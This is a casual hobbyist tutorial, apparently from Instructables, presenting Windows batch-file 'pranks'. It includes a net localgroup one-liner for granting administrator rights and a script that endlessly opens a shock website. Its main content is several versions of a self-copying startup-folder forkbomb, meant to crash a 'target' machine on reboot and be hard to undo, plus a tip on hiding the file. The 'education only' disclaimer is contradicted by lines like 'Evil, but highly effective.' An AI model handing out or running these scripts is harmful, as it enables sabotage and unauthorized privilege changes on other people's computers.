ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

this can be more / less fun depending on who / how you use it :D
its a simple one liner:
you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)

@echo off
start www.meatspin.com
or if your feeling particularly mean
@echo off
:A
start www.meatspin.com
goto A
this will open meatspin in an infinite loop.
note: the website can be substituted for one of your own choice if you wish :)
echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start
you could also hide the batch file using attrib -h -s- r
Here's the code:

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start
This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.
Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.
Only problem is that u need to change the part where its says USER for the username of the target.
echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start
Then you don't have to specify the USER directory.
Evil, but highly effective.
(muhahahaha!)
